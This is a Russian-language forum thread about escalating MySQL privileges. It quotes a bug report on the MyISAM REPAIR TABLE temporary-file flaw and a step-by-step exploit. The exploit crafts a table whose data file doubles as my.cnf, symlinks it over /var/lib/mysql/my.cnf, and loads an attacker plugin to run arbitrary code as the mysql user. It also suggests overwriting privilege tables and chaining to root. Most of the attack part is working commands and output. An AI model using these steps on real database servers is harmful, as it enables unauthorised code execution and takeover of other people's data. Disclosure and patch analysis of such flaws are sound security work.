RDot: White Hat Security Community

RDot: White Hat Security Community (https://rdot.org/forum/index.php)
-   Сервисы, БД, Серверы/Network services, Databases, Servers (https://rdot.org/forum/forumdisplay.php?f=23)
-   -   Mysql Privilege elevation (https://rdot.org/forum/showthread.php?t=2808)

x41 01.08.2013 09:22

Mysql Privilege elevation
Кто нибудь в курсе о способах реализации поднятия привелегий с помощью крэша mysql и перехвата управления от имени пользователя от которого запущена БД. Прав на создание пользователей нет. Версия Mysql 5.1.68 . http://www.exploit-db.com/exploits/23077/ не сработал, не хватает прав, да и версия БД выше.

j3k 01.08.2013 18:25

насколько я понял атакующему пользователю нужны права на FILE, которые позволяют
иначе никак

lolka 02.08.2013 15:12

Пользуемся поиском, https://rdot.org/forum/showthread.php?p=29726

b3 02.08.2013 22:10


Сообщение от j3k (Сообщение 32600)
насколько я понял атакующему пользователю нужны права на FILE, которые позволяют
иначе никак

Причем здесь права пользователя mysql к тому от кого запущен сам демон mysqld который в свою очередь запущен от пользователя mysql по дефольту.

mysql    1412  0.0  9.0 356896 88072 ?        Sl  Jul31  3:06  \_ /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=
Что все сводит к бесполезности переполнения буфера демона. Если я всё правильно понял)

x41 13.08.2013 09:22

Всем спасибо. Надо было сразу проверить. Нет file_priv. Этот сплоит не подойдет.
Есть еще какие либо варианты поднятия прав на Mysql наподобие этого?

lefty 13.08.2013 20:45


Что все сводит к бесполезности переполнения буфера демона. Если я всё правильно понял)
речь идет не о поднятии прав в окружении ОС, а о поднятии прав в окружении самой субд.

SynQ 11.09.2014 10:33


The changes for MySQL 5.5.39[1] and 5.6.20[2] contain a reference to
the following issue, which could be exploited by a local user to run
arbitrary code in context of the mysqld server.

MyISAM temporary files could be used to mount a code-execution attack.
(Bug #18045646).

This is also tracked in[3] and [4] mentioning as relevant fix [5].

Was a CVE already requested for this issue? If not, could one be


[1] https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-39.html
[2] https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-20.html
[3] https://bugzilla.redhat.com/show_bug.cgi?id=1126271
[4] https://bugs.gentoo.org/show_bug.cgi?id=518718
[5] https://bazaar.launchpad.net/~mysql/mysql-server/5.5/revision/4638


Description: Using the temporary file vulnerability an
attacker can create a file with arbitrary content at a
location of his choice. This can be used to create the
file /var/lib/mysql/my.cnf, which will be read as a
configuration file by MySQL, because it is located in the
home directory of the mysql user. With this configuration
file, the attacker can specify his own plugin_dir variable,
which then allows him to load arbitrary code via

Analysis: While creating the ".TMD" file we are not checking
if the file is already exits or not in mi_repair() function.
And we are truncating if the ".TMD" file exits and going ahead
This is creating the security breach.

Fix: We need to use O_EXCL flag along with O_RDWR and O_TRUNC
which will make sure if any user creates ".TMD" file, will
fails the repair table with "cannot create ".TMD" file error".
Actually we are initialing "param.tmpfile_createflag" member
with O_RDWR | O_TRUNC | O_EXCL in myisamchk_init(). And we
are modifying it in ha_myisam::repair() to O_RDWR | O_TRUNC.
So, we need to remove the line which is modifying the
Имея свободный доступ к mysql (вроде phpmyadmin), можно записать файл с произвольным содержимым от имени mysql, т.е. например подменить my.cnf и активировать свой плагин -> выполнять команды от имени mysql.

Oops 27.10.2014 11:04

Я правильно понимаю что в 5.5.37 бага существует?

SynQ 27.10.2014 15:28

Видимо, да, посмотри еще на дату бинарника mysqld и сравни с датой эдвайзори.
Как конкретно работает баг, придется разбираться тебе...

SynQ 26.03.2015 11:49

Продолжение про баг, о котором 3 поста выше:
Имея права на CREATE TABLE в mysql, а также доступ на запись в какую-либо папку, можно перезаписать my.cnf => получить доступ ко всем базам и права mysql в системе.

Работает на suse, debian, ubuntu. На redhat не работает.


Reported by Stefan Nordhausen:


Since today was a quiet day at the office, I was able to complete
another exploit that allows an attacker with

  * CREATE TABLE privileges in MySQL
  * any Unix-account on the MySQL server

to execute arbitrary code in the context of the MySQL server, i.e. as
user "mysql". And let's just assume that this access was officially
granted to the attacker. Exploitation is also not too complex and very
reliable. The code below assumes you are user nordhausen with home
directory /home/nordhausen. Initial setup is

    > cd ~
    > mkdir mysql
    > chmod 777 mysql

The SQL instructions below use the "DATA DIRECTORY" directive. This
assumes that symlinks are enabled (check with /SHOW VARIABLES LIKE
"have_symlink"/), which is the case in openSuse 12.3, but not in Red Hat
6.5. So, assuming default options, the below part will only work with

    USE <a_database_where_you_can_create_tables>;
    CREATE TABLE myisam ( x1 CHAR(1), x2 CHAR(1), x3 CHAR(1), x4
    CHAR(1), x5 char(1), x6 char(1), x7 char(45) ) ENGINE = myisam, DATA
    DIRECTORY = "/home/nordhausen/mysql";
    INSERT INTO myisam VALUE (NULL, "x", "x", "x", NULL, "x",

The strange table setup has a reason: MyISAM prefixes each record with a
bitmap that indicates which columns are NULL and which are not. With the
above layout, that bitmap corresponds to the ASCII character "#", i.e.
anything after it is marked as a comment. This is important because
MySQL will completely ignore a syntactically incorrect configuration
file. You can check with "cat ......./myisam.MYD"  that the file is not
just a valid MYD data file, but also a valid MySQL configuration file,
looking like this:

    > cat /home/nordhausen/mysql/myisam.MYD
    #  x  x  x    x

Now, the mission is to get this file moved to /var/lib/mysql/my.cnf. For
this, I exploit that MySQL is very careless during a REPAIR TABLE: It
will use the file called <table_name>.TMD without any security checks.
Creating a symlink on the shell:

    ln -s /var/lib/mysql/my.cnf /home/nordhausen/mysql/myisam.TMD

followed by SQL command

    REPAIR TABLE myisam;

will produce an "Operation failed" message. But the exploit has worked,
the content of the MYD file has been copied to the destination file.
Since /var/lib/mysql is the home directory of the "mysql" user, the new
"my.cnf" file will be picked up by MySQL as a configuration file. Now,
the attacker waits for the MySQL server to be restarted, his custom
configuration is loaded and the fun begins:

    > cp /usr/lib64/mysql/plugin/ha_blackhole.so

    mysql> show variables like "plugin_dir";
    | Variable_name | Value                  |
    | plugin_dir    | /home/nordhausen/mysql/ |

    mysql> INSTALL PLUGIN blackhole SONAME 'attacker.so';
    Query OK, 0 rows affected (0.00 sec)

Instead of ha_blackhole.so, the attacker could use arbitrary
self-compiled files. Since MySQL installs the plugin even though the
file & directory are owned by user nordhausen, it means he can run any
code inside the MySQL server.

Installing the plugin needs INSERT privilege on the mysql.plugin table.
But the above exploit can also be used to overwrite any other file with
the privileges of the mysql user. You could overwrite
/var/lib/mysql/mysql/plugin.MYD or user.MYD (which are also a MyISAM
tables), thus inserting the plugin directly (after next MySQL restart)
or giving yourself SUPER privileges in MySQL. Alternatively, since the
attacker installed a new my.cnf file, he could redefine the "datadir"
config variable to point to a directory of his choice, which would
include a privilege setup of his choice. I have not tested any of that
yet, though.

Technically, this is more a MySQL exploit than an openSuse exploit, but
it shows that access to the mysql user account is achievable based on
realistic initial privileges. Together with the previous exploit, there
is now a way from "CREATE TABLE privilege + any user account" --> mysql
account --> root account. Sounds dangerous enough to me to warrant a
bugfix or two.

Часовой пояс GMT +3, время: 23:25.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot